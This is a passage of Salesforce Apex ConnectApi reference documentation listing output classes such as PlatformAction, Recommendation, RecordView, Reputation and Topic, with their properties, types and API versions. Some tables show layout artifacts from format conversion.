<td>phoneNumber</td>
<td>String</td>
<td>Phone number</td>
<td>28.0</td>
</tr>
</tbody>
</table>
| phoneType       | String | Phone type. Values are: • Fax
• Mobile
• Work
These values are not localized. | 30.0              |
| type            | String | Note: This property is not available after version 29.0. Use the phoneType property instead. Values are:
• Fax
• Mobile
• Work
These values are not localized. | 28.0–29.0         |

## ConnectApi.Photo Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fullEmailPhotoUrl</td>
<td>String</td>
<td>A temporary URL to the large profile picture. The URL expires after 30 days and is available to unauthenticated users.</td>
<td>28.0</td>
</tr>
<tr>
<td>largePhotoUrl</td>
<td>String</td>
<td>URL to the large profile picture. The default width is 200 pixels, and the height is scaled so the original image proportions are maintained.</td>
<td>28.0</td>
</tr>
<tr>
<td>photoVersionId</td>
<td>String</td>
<td>18-character ID to that version of the photo</td>
<td>28.0</td>
</tr>
<tr>
<td>smallPhotoUrl</td>
<td>String</td>
<td>URL to the small profile picture. The default size is 64x64 pixels.</td>
<td>28.0</td>
</tr>
<tr>
<td>standardEmailPhotoUrl</td>
<td>String</td>
<td>A temporary URL to the small profile. The URL expires after 30 days and is available to unauthenticated users.</td>
<td>28.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>A resource that returns a Photo object: for example, /services/data/v35.0/chatter/users/005D00000011L8OIAW/photo</td>
<td>28.0</td>
</tr>
</tbody>
</table>

## ConnectApi.PicklistRecordField Class

Subclass of ConnectApi.LabeledRecordField Class
A record field containing an enumerated value.

**ConnectApi.PlatformAction Class**

A platform action instance with state information for the context user.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionUrl</td>
<td>String</td>
<td>For action links of subtype Ui or Download, direct the user to download or visit the UI from this link. Salesforce issues a Javascript redirect for the link in this format: [communityId]/action-link-redirect/_communityId_actionLinkId__bearer=bearerToken. For Api action links and for all platform actions, this value is null and Salesforce handles the call.</td>
<td>33.0</td>
</tr>
<tr>
<td>apiName</td>
<td>String</td>
<td>The API name. The value may be null.</td>
<td>33.0</td>
</tr>
<tr>
<td>confirmation Message</td>
<td>String</td>
<td>If this action requires a confirmation and has a status of NewStatus, this is a default localized message that should be shown to an end user prior to invoking the action. Otherwise, this is null.</td>
<td>33.0</td>
</tr>
<tr>
<td>executingUser</td>
<td>ConnectApi.User Summary Class</td>
<td>The user who initiated execution of this platform action.</td>
<td>33.0</td>
</tr>
<tr>
<td>groupDefault</td>
<td>Boolean</td>
<td>True if this platform action is the default or primary platform action in the platform action group; false otherwise. There can be only one default platform action per platform action group.</td>
<td>33.0</td>
</tr>
<tr>
<td>iconUrl</td>
<td>String</td>
<td>The URL of the icon for the platform action. This value may be null.</td>
<td>33.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>The ID for the platform action. If the type is QuickAction and the subtype is Create, this value is null.</td>
<td>33.0</td>
</tr>
<tr>
<td>label</td>
<td>String</td>
<td>The localized label for this platform action.</td>
<td>33.0</td>
</tr>
<tr>
<td>modifiedDate</td>
<td>Datetime</td>
<td>An ISO 8601 format date string, for example, 2011-02-25T18:24:31.000Z.</td>
<td>33.0</td>
</tr>
<tr>
<td>platformActionGroup</td>
<td>ConnectApi. Reference Class</td>
<td>A reference to the platform action group containing this platform action.</td>
<td>33.0</td>
</tr>
</tbody>
</table>
| status             | ConnectApi. PlatformAction Status | The execution status of the platform action. Values are:  
  - FailedStatus—The action link execution failed.                                                                                                            | 33.0              |
### Property Name | Type | Description | Available Version
--- | --- | --- | ---
NewStatus—The action link is ready to be executed. Available for Download and Ui action links only. |  | 33.0
PendingStatus—The action link is executing. Choosing this value triggers the API call for Api and ApiAsync action links. |  |
SuccessfulStatus—The action link executed successfully. |  |
 subtype | String | The subtype of a platform action or null. If the type property is ActionLink, possible values are: | 33.0
 Api—The action link calls a synchronous API at the action URL. Salesforce sets the status to SuccessfulStatus or FailedStatus based on the HTTP status code returned by your server. |  |
 ApiAsync—The action link calls an asynchronous API at the action URL. The action remains in a PendingStatus state until a third party makes a request to /connect/action-links/actionLinkId to set the status to SuccessfulStatus or FailedStatus when the asynchronous operation is complete. |  |
 Download—The action link downloads a file from the action URL. |  |
 Ui—The action link takes the user to a Web page at the action URL. |  |
 type | ConnectApi.PlatformActionType | The type of platform action. Values are: | 33.0
 ActionLink—An indicator on a feed element that targets an API, a web page, or a file and is represented by a button in the Salesforce Chatter feed UI. |  |
### Available Version

<table>
<thead>
<tr>
<th>Description</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>CustomButton—When clicked, opens a URL or a Visualforce page in a window or executes JavaScript.</td>
<td>String</td>
</tr>
<tr>
<td>InvocableAction</td>
<td>String</td>
</tr>
<tr>
<td>ProductivityAction—Productivity actions are predefined by Salesforce and are attached to a limited set of objects. You can’t edit or delete productivity actions.</td>
<td>String</td>
</tr>
<tr>
<td>QuickAction—A global or object-specific action.</td>
<td>String</td>
</tr>
<tr>
<td>StandardButton—A predefined Salesforce button such as New, Edit, and Delete.</td>
<td>String</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>String</td>
<td>The URL for this platform action. If the type is QuickAction and the subtype is Create, this value is null.</td>
<td>33.0</td>
</tr>
</tbody>
</table>

### ConnectApi.PlatformActionGroup Class

A platform action group instance with state appropriate for the context user.

Action link groups are one type of platform action group and are therefore represented as `ConnectApi.PlatformActionGroup` output classes.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>category</td>
<td><code>ConnectApi.PlatformActionGroupCategory</code></td>
<td>Indicates the priority and relative locations of platform actions. Values are:</td>
<td>33.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Primary—The action link group is displayed in the body of the feed element.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Overflow—The action link group is displayed in the overflow menu of the feed element.</td>
<td></td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>The 18-character ID or an opaque string ID of the platform action group. If the <code>ConnectApi.PlatformActionGroup</code> type is QuickAction and the subtype is Create, this value is null.</td>
<td>33.0</td>
</tr>
<tr>
<td>modifiedDate</td>
<td>Datetime</td>
<td>ISO 8601 date string, for example, 2014-02-25T18:24:31.000Z.</td>
<td>33.0</td>
</tr>
<tr>
<td>platformActions</td>
<td>List&lt;<code>ConnectApi.PlatformAction</code>&gt;</td>
<td>The platform action instances for this group. Within an action link group, action links are displayed in the order listed in the <code>actionLinks</code> property.</td>
<td>33.0</td>
</tr>
</tbody>
</table>
of the ConnectApi.ActionLinkGroup Definition Input class. Within a feed item, action link groups are displayed in the order specified in the actionLinkGroupIds property of the ConnectApi.AssociatedActions Capability Input class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>String</td>
<td>The URL for this platform action group. If the ConnectApi.PlatformAction type is QuickAction and the subtype is Create, this value is null.</td>
<td>33.0</td>
</tr>
</tbody>
</table>

**ConnectApi.PollCapability Class**

If a feed element has this capability, it includes a poll. Subclass of ConnectApi.FeedElementCapability Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>choices</td>
<td>List&lt;ConnectApi.FeedPollChoice&gt;</td>
<td>Collection of poll choices that make up the poll.</td>
<td>32.0</td>
</tr>
<tr>
<td>myChoiceId</td>
<td>String</td>
<td>18-character ID of the poll choice that the current user has voted for in this poll. Returns null if the current user has not voted.</td>
<td>32.0</td>
</tr>
<tr>
<td>totalVoteCount</td>
<td>Integer</td>
<td>Total number of votes cast on the feed poll element.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**ConnectApi.QuestionAndAnswersCapability Class**

If a feed element has this capability, it has a question and comments on the feed element are answers to the question. Subclass of ConnectApi.FeedElementCapability Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>bestAnswer</td>
<td>ConnectApi.Comment</td>
<td>The comment selected as the best answer for the question.</td>
<td>32.0</td>
</tr>
<tr>
<td>bestAnswer SelectedBy</td>
<td>ConnectApi.UserSummary</td>
<td>The user who selected the best answer for the question.</td>
<td>32.0</td>
</tr>
<tr>
<td>canCurrentUserSelectOrRemoveBestAnswer</td>
<td>Boolean</td>
<td>Indicates whether current user can select or remove a best answer (true) or not (false).</td>
<td>32.0</td>
</tr>
<tr>
<td>escalatedCase</td>
<td>ConnectApi.Reference</td>
<td>If a question post is escalated, this is the case to which it was escalated.</td>
<td>33.0</td>
</tr>
<tr>
<td>Property Name</td>
<td>Type</td>
<td>Description</td>
<td>Available Version</td>
</tr>
<tr>
<td>-------------------</td>
<td>---------------------</td>
<td>--------------------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>questionTitle</td>
<td>String</td>
<td>Title for the question.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**ConnectApi.QuestionAndAnswersSuggestions Class**

Question and answers suggestions.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>articles</td>
<td>List&lt;ConnectApi.ArticleItem&gt;</td>
<td>List of articles.</td>
<td>32.0</td>
</tr>
<tr>
<td>questions</td>
<td>List&lt;ConnectApi.FeedElement&gt;</td>
<td>List of questions.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**ConnectApi.RecommendationAudience**

A recommendation audience.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>18-character ID of the recommendation audience.</td>
<td>35.0</td>
</tr>
<tr>
<td>memberCount</td>
<td>Integer</td>
<td>Number of members in the recommendation audience.</td>
<td>35.0</td>
</tr>
<tr>
<td>members</td>
<td>ConnectApi.UserReferencePage</td>
<td>Members of the recommendation audience.</td>
<td>35.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the recommendation audience.</td>
<td>35.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL for the recommendation audience.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

**ConnectApi.RecommendationAudiencePage**

A list of recommendation audiences.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>audienceCount</td>
<td>Integer</td>
<td>The total number of recommendation audiences.</td>
<td>35.0</td>
</tr>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>URL to the current page.</td>
<td>35.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>URL to the next page.</td>
<td>35.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>URL to the previous page.</td>
<td>35.0</td>
</tr>
<tr>
<td>recommendationAudiences</td>
<td>List&lt;ConnectApi.RecommendationAudience&gt;</td>
<td>A list of recommendation audiences.</td>
<td>35.0</td>
</tr>
</tbody>
</table>
**ConnectApi.RecommendationsCapability**

If a feed element has this capability, it has a recommendation.

Subclass of `ConnectApi.FeedElementCapability` Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>items</td>
<td>List&lt;ConnectApi. Abstract Recommendation&gt;</td>
<td>A list of recommendations.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**ConnectApi.RecommendationCollection Class**

A list of recommendations.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>recommendations</td>
<td>List&lt;ConnectApi. Abstract Recommendation&gt;</td>
<td>Collection of recommendations.</td>
<td>33.0</td>
</tr>
</tbody>
</table>

**ConnectApi.RecommendationDefinition**

Represents a custom recommendation definition.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionUrl</td>
<td>String</td>
<td>The URL for acting on this recommendation.</td>
<td>35.0</td>
</tr>
<tr>
<td>actionUrlName</td>
<td>String</td>
<td>The text label for the action URL in the user interface.</td>
<td>35.0</td>
</tr>
<tr>
<td>explanation</td>
<td>String</td>
<td>Explanation of the recommendation definition.</td>
<td>35.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>18-character ID of the recommendation definition.</td>
<td>35.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the recommendation definition. The name is displayed in Setup.</td>
<td>35.0</td>
</tr>
<tr>
<td>photo</td>
<td>ConnectApi.Photo</td>
<td>Photo of the recommendation definition.</td>
<td>35.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>Title of the recommendation definition.</td>
<td>35.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the Chatter REST API resource for the recommendation definition.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

**ConnectApi.RecommendationDefinitionPage**

Represents a list of recommendation definitions.
**ConnectApi.RecommendationExplanation Class**

Explanation for a recommendation.
Subclass of `ConnectApi.AbstractRecommendationExplanation Class`.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>detailsUrl</td>
<td>String</td>
<td>URL to explanation details or <code>null</code> if the recommendation doesn’t have a detailed explanation.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**ConnectApi.RecommendedObject**

A recommended object, such as a custom or static recommendation.
Subclass of `ConnectApi.Actor Class`

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>idOrEnum</td>
<td>String</td>
<td>ID of a recommendation definition for a custom recommendation or the enum value <code>Today</code> for static recommendations that don’t have an ID (version 35.0 and later).</td>
<td>34.0</td>
</tr>
<tr>
<td>motif</td>
<td><code>ConnectApi.Motif</code></td>
<td>Motif of the recommended object.</td>
<td>34.0</td>
</tr>
</tbody>
</table>

**ConnectApi.RecordField Class**

Subclass of `ConnectApi.LabeledRecordField Class`
A generic record field containing a label and text value.

**ConnectApi.RecordSnapshotAttachment Class**

⚠️ **Important**: This class isn’t available in version 32.0 and later. In version 32.0 and later, `ConnectApi.RecordSnapshotCapability` is used.

Subclass of `ConnectApi.FeedItemAttachment Class`
The fields of a record at the point in time when the record was created.
**ConnectApi.RecordSnapshotCapability**

If a feed element has this capability, it contains all the snapshotted fields of a record for a single create record event.

Subclass of `ConnectApi.FeedElementCapability` Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>recordView</td>
<td><code>ConnectApi.RecordView</code></td>
<td>A record representation that includes metadata and data so you can display the record easily.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**ConnectApi.RecordSummary Class**

Subclass of `ConnectApi.AbstractRecordView` Class

No additional properties.

**ConnectApi.RecordSummaryList Class**

Summary information about a list of records in the organization including custom objects.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>records</td>
<td><code>List&lt;ConnectApi.ActorWithId&gt;</code></td>
<td>A list of records.</td>
<td>30.0</td>
</tr>
<tr>
<td>url</td>
<td><code>String</code></td>
<td>The URL to this list of records.</td>
<td>30.0</td>
</tr>
</tbody>
</table>

**ConnectApi.RecordView Class**

Subclass of `ConnectApi.AbstractRecordView` Class

A view of any record in the organization, including a custom object record. This object is used if a specialized object, such as User or ChatterGroup, is not available for the record type. Contains data and metadata so you can render a record with one response.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>sections</td>
<td><code>List&lt;ConnectApi.RecordViewSection&gt;</code></td>
<td>A list of record view sections.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

**ConnectApi.RecordViewSection Class**

A section of record fields and values on a record detail.
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>columnCount</td>
<td>Integer</td>
<td>The number of columns to use to lay out the fields in a record section.</td>
<td>29.0</td>
</tr>
<tr>
<td>columnOrder</td>
<td>ConnectApi.</td>
<td>The order of the fields to use in the fields property to lay out the fields in a record section.</td>
<td>29.0</td>
</tr>
<tr>
<td></td>
<td>RecordColumnOrder</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Enum</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>• LeftRight—Fields are rendered from left to right.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>• TopDown—Fields are rendered from the top down.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>fields</td>
<td>ConnectApi.</td>
<td>The fields and values for the record contained in this section.</td>
<td>29.0</td>
</tr>
<tr>
<td></td>
<td>AbstractRecordField</td>
<td></td>
<td></td>
</tr>
<tr>
<td>heading</td>
<td>String</td>
<td>A localized label to display when rendering this section of fields.</td>
<td>29.0</td>
</tr>
<tr>
<td>isCollapsible</td>
<td>Boolean</td>
<td>Indicates whether the section can be collapsed to hide all the fields (true) or not (false).</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi. Reference Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>The ID of the record being referenced, which could be an 18-character ID or some other string identifier.</td>
<td>28.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL to the resource endpoint.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi. ReferenceRecordField Class

Subclass of ConnectApi.LabeledRecordField Class

A record field with a label and text value.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>reference</td>
<td>ConnectApi.</td>
<td>The object referenced by the record field.</td>
<td>29.0</td>
</tr>
<tr>
<td></td>
<td>RecordSummary</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

### ConnectApi. ReferenceWithDateRecordField Class

Subclass of ConnectApi.LabeledRecordField Class

A record field containing a referenced object that acted at a specific time, for example, “Created By...”.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>dateValue</td>
<td>Datetime</td>
<td>A time at which the referenced object acted.</td>
<td>29.0</td>
</tr>
</tbody>
</table>
### ConnectApi.Reputation Class

Reputation for a user.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>reputationLevel</td>
<td>ConnectApi.ReputationLevel</td>
<td>User’s reputation level.</td>
<td>32.0</td>
</tr>
<tr>
<td>reputationPoints</td>
<td>Double</td>
<td>User’s reputation points, which can be earned by performing different activities in the community.</td>
<td>32.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>A Chatter REST API URL to the reputation.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ReputationLevel Class

Reputation level for a user.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>levelImageUrl</td>
<td>String</td>
<td>URL to the reputation level image.</td>
<td>32.0</td>
</tr>
<tr>
<td>levelName</td>
<td>String</td>
<td>Name of the reputation level.</td>
<td>32.0</td>
</tr>
<tr>
<td>levelNumber</td>
<td>Integer</td>
<td>Reputation level number, which is the numerical rank of the level, with the lowest level at 1. Administrators define the reputation level point ranges.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

### ConnectApi.RequestHeader Class

An HTTP request header name and value pair.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>String</td>
<td>The name of the request header.</td>
<td>33.0</td>
</tr>
<tr>
<td>value</td>
<td>String</td>
<td>The value of the request header.</td>
<td>33.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ResourceLinkSegment Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>url</td>
<td>String</td>
<td>URL to a resource not otherwise identified by an ID field, for example, a link to a list of users.</td>
<td>28.0</td>
</tr>
</tbody>
</table>
ConnectApi.ScheduledRecommendation

Represents a scheduled recommendation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>enabled</td>
<td>Boolean</td>
<td>Indicates whether scheduling is enabled. If true, the recommendation is enabled and appears in communities. If false, recommendations in feeds in the Salesforce1 mobile browser app aren't removed, but no new recommendations appear. In communities using the Summer '15 or later version of the Napili template, disabled recommendations no longer appear.</td>
<td>35.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>18-character ID of the scheduled recommendation.</td>
<td>35.0</td>
</tr>
<tr>
<td>rank</td>
<td>Integer</td>
<td>The rank determining the order of this scheduled recommendation.</td>
<td>35.0</td>
</tr>
<tr>
<td>recommendation AudienceId</td>
<td>String</td>
<td>ID of the audience for the scheduled recommendation.</td>
<td>35.0</td>
</tr>
<tr>
<td>recommendation Definition Representation</td>
<td>ConnectApi.RecommendationDefinition</td>
<td>Recommendation definition that this scheduled recommendation schedules.</td>
<td>35.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the Chatter REST API resource for the scheduled recommendation.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

ConnectApi.ScheduledRecommendationPage

Represents a list of scheduled recommendations.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>scheduled Recommendations</td>
<td>List&lt;ConnectApi.ScheduledRecommendation&gt;</td>
<td>A list of scheduled recommendations.</td>
<td>35.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the Chatter REST API resource for the scheduled recommendation collection.</td>
<td>35.0</td>
</tr>
</tbody>
</table>

ConnectApi.Subscription Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>community</td>
<td>ConnectApi.Reference</td>
<td>Information about the community in which the subscription exists</td>
<td>28.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>Subscription’s 18–character ID</td>
<td>28.0</td>
</tr>
</tbody>
</table>
### ConnectApi.Actor Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>subject</td>
<td>ConnectApi.Actor</td>
<td>Information about the parent, that is, the thing or person being followed</td>
<td>28.0</td>
</tr>
<tr>
<td>subscriber</td>
<td>ConnectApi.Actor</td>
<td>Information about the subscriber, that is, the person following this item</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.TextSegment Class

Subclass of ConnectApi.MessageSegment Class

No additional properties.

### ConnectApi.TimeZone Class

The user's time zone as selected in the user's personal settings in Salesforce. This value does not reflect a device's current location.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>gmtOffset</td>
<td>Double</td>
<td>Signed offset, in hours, from GMT</td>
<td>30.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Display name of this time zone</td>
<td>30.0</td>
</tr>
</tbody>
</table>

### ConnectApi.Topic Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>createdDate</td>
<td>Datetime</td>
<td>ISO8601 date string, for example, 2011-02-25T18:24:31.000Z</td>
<td>29.0</td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the topic</td>
<td>29.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>18-character ID</td>
<td>29.0</td>
</tr>
<tr>
<td>images</td>
<td>ConnectApi.TopicImages</td>
<td>Images associated with the topic</td>
<td>32.0</td>
</tr>
<tr>
<td>isBeingDeleted</td>
<td>Boolean</td>
<td>true if the topic is currently being deleted; false otherwise.</td>
<td>33.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Name of the topic</td>
<td>29.0</td>
</tr>
<tr>
<td>talkingAbout</td>
<td>Integer</td>
<td>Number of people talking about this topic over the last two months, based on factors such as topic additions and comments on posts with the topic</td>
<td>29.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the topic detail page</td>
<td>29.0</td>
</tr>
</tbody>
</table>
ConnectApi.TopicEndorsement Class

Represents one user endorsing another user for a single topic.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>endorsee</td>
<td>ConnectApi.User Summary</td>
<td>User being endorsed</td>
<td>30.0</td>
</tr>
<tr>
<td>endorsementId</td>
<td>String</td>
<td>18-character ID of the endorsement record</td>
<td>30.0</td>
</tr>
<tr>
<td>endorser</td>
<td>ConnectApi.User Summary</td>
<td>User performing the endorsement</td>
<td>30.0</td>
</tr>
<tr>
<td>topic</td>
<td>ConnectApi.Topic</td>
<td>Topic the user is being endorsed for</td>
<td>30.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the resource for the endorsement record</td>
<td>30.0</td>
</tr>
</tbody>
</table>

ConnectApi.TopicEndorsementCollection Class

A collection of topic endorsement response bodies.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>30.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or null if there isn’t a next page. Check whether this value is null before getting another page. If a page doesn’t exist, a ConnectApi.NotFoundException error is returned.</td>
<td>30.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the previous page or null if there isn’t a previous page.</td>
<td>30.0</td>
</tr>
<tr>
<td>topicEndorsements</td>
<td>List&lt;ConnectApi.Topic&gt;</td>
<td>List of topic endorsements</td>
<td>30.0</td>
</tr>
</tbody>
</table>

ConnectApi.TopicImages Class

Images associated with a topic.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>coverImageUrl</td>
<td>String</td>
<td>URL to a topic’s cover image, which appears on the topic page. Both topics and managed topics can have cover images.</td>
<td>32.0</td>
</tr>
<tr>
<td>featuredImageUrl</td>
<td>String</td>
<td>URL to a managed topic’s featured image, which appears wherever you feature it, for example, on the communities home page.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
## ConnectApi.TopicPage Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the current page.</td>
<td>29.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>Chatter REST API URL identifying the next page or <code>null</code> if there isn’t a next page. Check whether this value is <code>null</code> before getting another page. If a page doesn’t exist, a ConnectApi.NotFoundException error is returned.</td>
<td>29.0</td>
</tr>
<tr>
<td>topics</td>
<td>List&lt;ConnectApi.Topic&gt;</td>
<td>List of topics</td>
<td>29.0</td>
</tr>
</tbody>
</table>

## ConnectApi.TopicsCapability Class

If a feed element has this capability, the context user can add topics to it. Topics help users organize and discover conversations. Subclass of ConnectApi.FeedElementCapability Class.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>canAssignTopics</td>
<td>Boolean</td>
<td><code>true</code> if a topic can be assigned to the feed element, <code>false</code> otherwise.</td>
<td>32.0</td>
</tr>
<tr>
<td>items</td>
<td>List&lt;ConnectApi.Topic&gt;</td>
<td>A collection of topics associated with this feed element.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

## ConnectApi.TopicSuggestion Class

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>existingTopic</td>
<td>ConnectApi.Topic</td>
<td>Topic that already exists or <code>null</code> for a new topic</td>
<td>29.0</td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>Topic name</td>
<td>29.0</td>
</tr>
</tbody>
</table>

